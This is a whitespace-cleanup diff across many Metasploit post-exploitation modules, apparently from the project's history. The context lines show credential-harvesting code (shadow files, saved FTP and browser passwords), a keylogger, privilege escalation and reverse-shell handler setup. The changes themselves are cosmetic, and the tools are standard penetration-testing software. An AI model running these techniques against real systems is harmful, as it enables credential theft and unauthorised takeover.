diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index c0383684d8..cf025eea80 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -39,10 +39,10 @@ class Metasploit3 < Msf::Post def run # Get device prompt prompt = session.shell_command("") - + # Set terminal length to 0 so no paging is required session.shell_write("term len 0 \n") - + # Get version info print_status("Getting version information") show_ver_cmd = "show version" @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Post mode = "EXEC" when /#/ mode = "PRIV" - end + end end print_status("The device OS is #{os_type}") diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 4ac72970b4..57f4bf4b1d 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post if is_root? passwd_file = read_file("/etc/passwd") shadow_file = read_file("/etc/shadow") - + # Save in loot the passwd and shadow file store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File") store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File") @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post # Save pwd file upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File") print_good("Unshadowed Password File: #{upassf}") - + else print_error("You must run this module as root!") end diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index a8e90d5f62..aee0aeec08 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post fzdir = check_filezilla(user['AppData']) paths << fzdir if fzdir end - + else print_error "Unsupported platform #{session.platform}" return @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Post if account['password'].nil? account['password'] = "" end - + case sub.elements['Protocol'].text when "0" account['protocol'] = "FTP" diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 8d9219b2ef..c9ca51cd02 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -209,7 +209,7 @@ class Metasploit3 < Msf::Post ensure fd.close end - + ext = file.split('.')[2] if ext == "txt" mime = "plain" diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index 3f91699cae..c2927d1a9c 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -267,7 +267,7 @@ class Metasploit3 < Msf::Post contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "" contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "" contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "" - + if bcontact.elements['buddy'].elements['alias'] contact['alias'] = bcontact.elements['buddy'].elements['alias'].text else diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index 0ceb73b4d5..f396728f00 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Post end ip_found = [] - + iplst.each do |ip| # Set count option for ping command case session.platform @@ -96,13 +96,13 @@ class Metasploit3 < Msf::Post end end a.delete_if {|x| not x.alive?} while not a.empty? - + rescue ::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") - + end ip_found.each do |i| report_host(:host => i) end end -end \ No newline at end of file +end diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index 80634565d3..3727776aa6 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post post_mod.gsub!(/^post\//,"") end m = framework.post.create(post_mod) - + # Check if a post module was actually initiated if m.nil? print_error("Post module #{post_mod} could not be initialized!") @@ -107,4 +107,4 @@ class Metasploit3 < Msf::Post print_error("Resource file was empty!") end end -end \ No newline at end of file +end diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index 4c084f5565..c7cdaf47b1 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post else print_status "Sudoing with password `#{password}'." end - askpass_sudo(password) + askpass_sudo(password) unless is_root? print_error "SUDO: Didn't work out, still a mere user." else diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index 831f4a0ac8..f3403785e8 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post if is_root? passwd_file = read_file("/etc/passwd") shadow_file = read_file("/etc/shadow") - + # Save in loot the passwd and shadow file store_loot("solaris.shadow", "text/plain", session, shadow_file, "shadow.tx", "Solaris Password Shadow File") store_loot("solaris.passwd", "text/plain", session, passwd_file, "passwd.tx", "Solaris Passwd File") diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index 6dccecb5bf..79f82c28df 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run - + print_status("Executing module against #{sysinfo['Computer']}") if datastore['MIGRATE'] case datastore['CAPTURE_TYPE'] @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Post end end - + if startkeylogger keycap(datastore['INTERVAL'],set_log) end @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Post # Returns the path name to the stored loot filename def set_log - store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes") + store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes") end def lock_screen diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index f1f28d086d..4fe74c29fa 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -172,7 +172,7 @@ class Metasploit3 < Msf::Post print_error("Must be an admin to migrate into Winlogon.exe, exiting") return end - + mypid = session.sys.process.getpid if datastore['pid'] == 0 targetpid = get_winlogon diff --git a/modules/post/windows/escalate/bypassuac.rb b/modules/post/windows/escalate/bypassuac.rb index f3930d3f6c..7dd2786348 100644 --- a/modules/post/windows/escalate/bypassuac.rb +++ b/modules/post/windows/escalate/bypassuac.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post handler.datastore['LPORT'] = lport handler.datastore['InitialAutoRunScript'] = "migrate -f" handler.datastore['ExitOnSession'] = true - handler.datastore['ListenerTimeout'] = 300 + handler.datastore['ListenerTimeout'] = 300 handler.datastore['ListenerComm'] = 'local' # start the session handler diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index 1ad08b4c97..885c209d6d 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -18,14 +18,14 @@ require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - + def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate Get System via Administrator', 'Description' => %q{ This module uses the builtin 'getsystem' command to escalate the current session to the SYSTEM account from an administrator - user account. + user account. }, 'License' => MSF_LICENSE, 'Author' => 'hdm', @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) - + register_options([ OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0]) ], self.class) @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post tech = datastore['TECHNIQUE'].to_i unsupported if client.platform !~ /win32|win64/i - + if is_system? print_good("This session already has SYSTEM privileges") return diff --git a/modules/post/windows/escalate/ms10_092_schelevator.rb b/modules/post/windows/escalate/ms10_092_schelevator.rb index 494904e4ae..c22ba39580 100644 --- a/modules/post/windows/escalate/ms10_092_schelevator.rb +++ b/modules/post/windows/escalate/ms10_092_schelevator.rb @@ -106,15 +106,15 @@ class Metasploit3 < Msf::Post # get the handler ready handler = session.framework.exploits.create("multi/handler") - handler.register_parent(self) + handler.register_parent(self) handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" handler.datastore['LHOST'] = rhost handler.datastore['LPORT'] = rport handler.datastore['InitialAutoRunScript'] = "migrate -f" handler.datastore['ExitOnSession'] = true handler.datastore['ListenerTimeout'] = 300 - handler.datastore['ListenerComm'] = 'local' - + handler.datastore['ListenerComm'] = 'local' + #start a handler to be ready # handler.exploit_module handler.exploit_simple( diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index 8e5835da6a..77699a5e64 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -188,4 +188,4 @@ class Metasploit3 < Msf::Post print_status("Upload complete") return file end -end +end diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index 0e396a38f2..841f53a278 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post [ 'URL', 'http://www.storm.net.nz/projects/16' ] ] )) - + register_options([ OptBool.new('REVERT', [false, "Enable this option to revert the in-memory patch and enable locking again", false]) ], self.class) diff --git a/modules/post/windows/escalate/service_permissions.rb b/modules/post/windows/escalate/service_permissions.rb index 85adf74ed3..2b52ab9d95 100644 --- a/modules/post/windows/escalate/service_permissions.rb +++ b/modules/post/windows/escalate/service_permissions.rb @@ -55,14 +55,14 @@ class Metasploit3 < Msf::Post # create a session handler handler = session.framework.exploits.create("multi/handler") - handler.register_parent(self) + handler.register_parent(self) handler.datastore['PAYLOAD'] = payload handler.datastore['LHOST'] = lhost handler.datastore['LPORT'] = lport handler.datastore['InitialAutoRunScript'] = "migrate -f" handler.datastore['ExitOnSession'] = true handler.datastore['ListenerTimeout'] = 300 - handler.datastore['ListenerComm'] = 'local' + handler.datastore['ListenerComm'] = 'local' # start the session handler diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index fc305f600d..8da6e420ac 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -132,7 +132,7 @@ class Metasploit3 < Msf::Post begin key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) srvvals = key.enum_key - + if srvvals.include?("vpc-s3") vm = true elsif srvvals.include?("vpcuhub") diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index 41341becbf..cff3bd1f03 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -59,10 +59,10 @@ class Metasploit3 < Msf::Post print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}") auth = { - :host => host, - :port => port, + :host => host, + :port => port, :sname => 'ftp', - :user => user, + :user => user, :pass => pass, :type => 'password', :source_id => session.db_record.id, diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index be42930a54..183943bb1e 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter'] )) - + end # Run Method for when run command is issued diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index 0a892f7db0..1f315eeffb 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -235,7 +235,7 @@ class Metasploit3 < Msf::Post if settings['admin_bindip'] == "*" settings['admin_bindip'] = "0.0.0.0" end - + if settings['bindip'] settings['ftp_bindip'] = settings['bindip'] else @@ -266,7 +266,7 @@ class Metasploit3 < Msf::Post settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" ) print_status("Looted SSL Certificate File") end - + if settings['ssl_certfile'].nil? settings['ssl_certfile'] = "" end diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index 12e773874f..16bb028fe1 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Post port = ini[group]['port'] next if epass == nil or epass == "" passwd = decrypt(epass) - + print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") report_auth_info( :host => host, diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index 0feef44ebb..80ca2703ab 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Post def run @secret= "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c" - + grab_user_profiles().each do |user| next if user['LocalAppData'] == nil tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index 597ad013ee..ac3adcc291 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Post until connections.eof condata << connections.read end - return condata + return condata rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" return nil @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Post decrypted = advapi32.CryptDecrypt(derivekey['phKey'], 0, true, 0, cipher, cipher.length) destroyhash = advapi32.CryptDestroyHash(createhash['phHash']) destroykey = advapi32.CryptDestroyKey(derivekey['phKey']) - releasecontext = advapi32.CryptReleaseContext(acquirecontext['phProv'], 0) + releasecontext = advapi32.CryptReleaseContext(acquirecontext['phProv'], 0) data = decrypted['pbData'] data.gsub!(/[\x00]/, '') diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index e19d9ced89..769c714109 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post check_other(hklminstpath +'\\wcx_ftp.ini') when /APPDATA/ print_status("Already Checked AppData") - + when /USERPROFILE/ print_status("Already Checked USERPROFILE") else @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Post rescue print_status("#{filename} not found ....") - end + end end @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Post rescue print_status("#{filename} not found ....") - end + end end @@ -136,7 +136,7 @@ class Metasploit3 < Msf::Post rescue print_status("#{filename} not found ....") - end + end end def get_ini(filename) @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Post next if group=="General" or group == "default" or group=="connections" print_status("Processing Saved Session #{group}") host = ini[group]['host'] - + username = ini[group]['username'] passwd = ini[group]['password'] next if passwd==nil @@ -166,7 +166,7 @@ class Metasploit3 < Msf::Post :pass => passwd ) end - end + end def seed(nMax) @vseed = ((@vseed * 0x8088405) & 0xffffffff) +1 diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index b22ef4d0d2..ce49de608c 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Post host_name = sysinfo['Computer'] print_status("Running against #{host_name} on session #{datastore['SESSION']}") - + creds = Rex::Ui::Text::Table.new( 'Header' => 'Windows AutoLogin Password', 'Ident' => 1, diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index b2f89f3382..3b908d4e5a 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Post password = registry_getvaldata(active_session, 'Password') # There is no password saved for this session, so we skip it next if password == nil - + savedpwds = 1 portnum = registry_getvaldata(active_session, 'PortNumber') if portnum == nil @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post :pass => pass ) - end + end if savedpwds == 0 print_status("No Saved Passwords found in the Session Registry Keys") diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index 350834b8b3..5293a2160e 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Post @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| remote_path = chrome_path + '\\' + f - + #Verify the path before downloading the file begin x = session.fs.file.stat(remote_path) diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index b9ec458f4d..f36393d55e 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -18,13 +18,13 @@ class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::File - + include Msf::Post::Windows::Registry def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Enumerate Computers', - 'Description' => %q{ + 'Description' => %q{ This module will enumerate computers included in the primary Domain. }, 'License' => MSF_LICENSE, diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index eef646442e..7c5ebb5bef 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Post def get_members(results) members = [] - + # Usernames start somewhere around line 6 results = results.slice(6, results.length) # Get group members from the output @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Post return members end - + def get_domain(results) domain = '' diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index df173dbbda..35269c32e4 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Enumerate Domain Tokens', - 'Description' => %q{ + 'Description' => %q{ This module will enumerate tokens present on a system that are part of the domain the target host is part of, will also enumerate users in the local Administrators, Users and Backup Operator groups to identify Domain members. @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Post 'Header' => "Impersonation Tokens with Domain Context", 'Indent' => 1, 'Columns' => - [ + [ "Token Type", "Account Type", "Name", @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Post user_tokens = client.incognito.incognito_list_tokens(0) user_delegation = user_tokens["delegation"].split("\n") user_impersonation = user_tokens["impersonation"].split("\n") - + group_tokens = client.incognito.incognito_list_tokens(1) group_delegation = group_tokens["delegation"].split("\n") group_impersonation = group_tokens["impersonation"].split("\n") @@ -262,4 +262,4 @@ class Metasploit3 < Msf::Post end return is_dc_srv end -end \ No newline at end of file +end diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb index 360fc19579..843aa4102b 100644 --- a/modules/post/windows/gather/enum_domains.rb +++ b/modules/post/windows/gather/enum_domains.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Domain Enumeration', 'Description' => %q{ This module enumerates currently the domains a host can see and the domain - controllers for that domain. + controllers for that domain. }, 'License' => MSF_LICENSE, 'Author' => [ 'Rob Fuller '], @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post base = base + 8 } - domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) + domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) domains.each do |x| print_status("Enumerating DCs for #{x[:domain]}") diff --git a/modules/post/windows/gather/enum_logged_on_users.rb b/modules/post/windows/gather/enum_logged_on_users.rb index dbd1293b7c..2926d9bda1 100644 --- a/modules/post/windows/gather/enum_logged_on_users.rb +++ b/modules/post/windows/gather/enum_logged_on_users.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Post tbl << [sid,profile_path] end print_line("\n" + tbl.to_s + "\n") - store_loot("host.users.recent", "text/plain", session, tbl.to_s, "recent_users.txt", "Recent Users") + store_loot("host.users.recent", "text/plain", session, tbl.to_s, "recent_users.txt", "Recent Users") end @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Post end print_line("\n" + tbl.to_s + "\n") - store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users") + store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users") end def run diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index 7b51241893..0f66a0af79 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -48,11 +48,11 @@ class Metasploit3 < Msf::Post 'SPECIAL', 'TEMPORARY' ] - + if val > (stypes.length - 1) return 'UNKNOWN' end - + stypes[val] end diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index 5b033180d5..e929a39fdd 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report - + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather SNMP Settings Enumeration (Registry)', @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post return false end end - + # Method for enumerating the Community Strings configured def community_strings comm_str = [] @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post comm_str = registry_enumvals(key) if not comm_str.empty? comm_str.each do |c| - + case registry_getvaldata(key,c) when 4 comm_type = "READ ONLY" diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index f1346eb3b5..41e6241e9c 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, 'Name' => 'Windows Terminal Server Client Connection Information Dumper', - 'Description' => %q{ + 'Description' => %q{ This module dumps MRU and connection data for RDP sessions }, 'License' => MSF_LICENSE, @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Post begin tmpkey = session.sys.registry.open_key(root_key, base_key, KEY_READ) tmpkey_values = tmpkey.enum_key - if tmpkey_values.include?('Default') + if tmpkey_values.include?('Default') defaultkey = session.sys.registry.open_key(root_key, base_key + '\\Default', KEY_READ) print_good('Systems connected to:') (defaultkey.enum_value).each do |x| diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 04689545b4..111ae1964d 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -127,7 +127,7 @@ class Metasploit3 < Msf::Post # get system, if requested. get_system if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM']) - + ## Make sure we meet the requirements before running the module if not priv_check print_error("Abort! Did not pass the priv check") diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index 6fb1b6979b..1bdccfee85 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -8,7 +8,7 @@ # http://msu-nftc.org class Metasploit3 < Msf::Post - + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Physical Drives and Logical Volumes', diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index 6b38843a3d..9262af1219 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -11,7 +11,7 @@ require 'digest/md5' require 'digest/sha1' class Metasploit3 < Msf::Post - + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Forensic Imaging', diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 623c3fceb2..ce1be5f4a2 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post geometry = ioctl['lpOutBuffer'] disk_size = geometry[24,31].unpack('Q')[0] - + socket = Rex::Socket::TcpServer.create({'LocalHost'=>ip_addr,'LocalPort'=>port}) print_line("Listening on #{ip_addr}:#{port}") print_line("Serving #{devname} (#{disk_size} bytes)") diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 45b1bbe4a7..8eb681f56c 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -407,7 +407,7 @@ class Metasploit3 < Msf::Post file_local_write(pwdfile,inject_hashdump) rescue::Exception => e print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process") - + if sysinfo['OS'] =~ /(Windows 2008)/i move_to_sys file_local_write(pwdfile,inject_hashdump) diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 498382de13..0ef76c023e 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -220,7 +220,7 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run print_status("Running module on #{sysinfo['Computer']}") - + ## get system, if requested if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM']) get_system diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index 329252d838..3db0be2975 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Common include Msf::Post::File - + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Enable Remote Desktop', diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb index 9ce0fd141e..5a7b23e1f9 100644 --- a/modules/post/windows/manage/remove_ca.rb +++ b/modules/post/windows/manage/remove_ca.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post key = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates" rkey,bkey = client.sys.registry.splitkey(key) - # Check if the requested cert is actually in the registry to start with + # Check if the requested cert is actually in the registry to start with open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000) keys = open_key.enum_key diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 82cfffee62..010cad3eb3 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post # set some instance vars @IsAdmin = false @host_info = session.sys.config.sysinfo - + # Make sure we meet the requirements before running the script, note no need to return # unless error return 0 if session.type != "meterpreter" diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb index 435aeee306..2636640c80 100644 --- a/modules/post/windows/wlan/wlan_bss_list.rb +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post print_good(netout) network_list << netout end - + #strip out any nullbytes for safe loot storage network_list.gsub!(/\x00/,"") store_loot("host.windows.wlan.networks", "text/plain", session, network_list, "wlan_networks.txt", "Available Wireless LAN Networks") @@ -116,7 +116,7 @@ class Metasploit3 < Msf::Post #If the length of the SSID is 0 then something is wrong. Skip this one pointer = (pointer + 4) len_ssid = @host_process.memory.read(pointer,4) - unless len_ssid.unpack("V")[0] + unless len_ssid.unpack("V")[0] next end @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Post pointer = (pointer + 4) rssi = @host_process.memory.read(pointer,4) rssi = getle_signed_int(rssi) - bss['rssi'] = rssi + bss['rssi'] = rssi #Get the signal strength pointer = (pointer + 4) @@ -255,7 +255,7 @@ class Metasploit3 < Msf::Post #Convert the GUID to human readable form def guid_to_string(guid) aguid = guid.unpack("H*")[0] - sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] sguid << "-" + aguid[20,12] + "}" return sguid diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb index 49e4e6bd71..5908bbafce 100644 --- a/modules/post/windows/wlan/wlan_current_connection.rb +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -310,7 +310,7 @@ class Metasploit3 < Msf::Post #Convert the 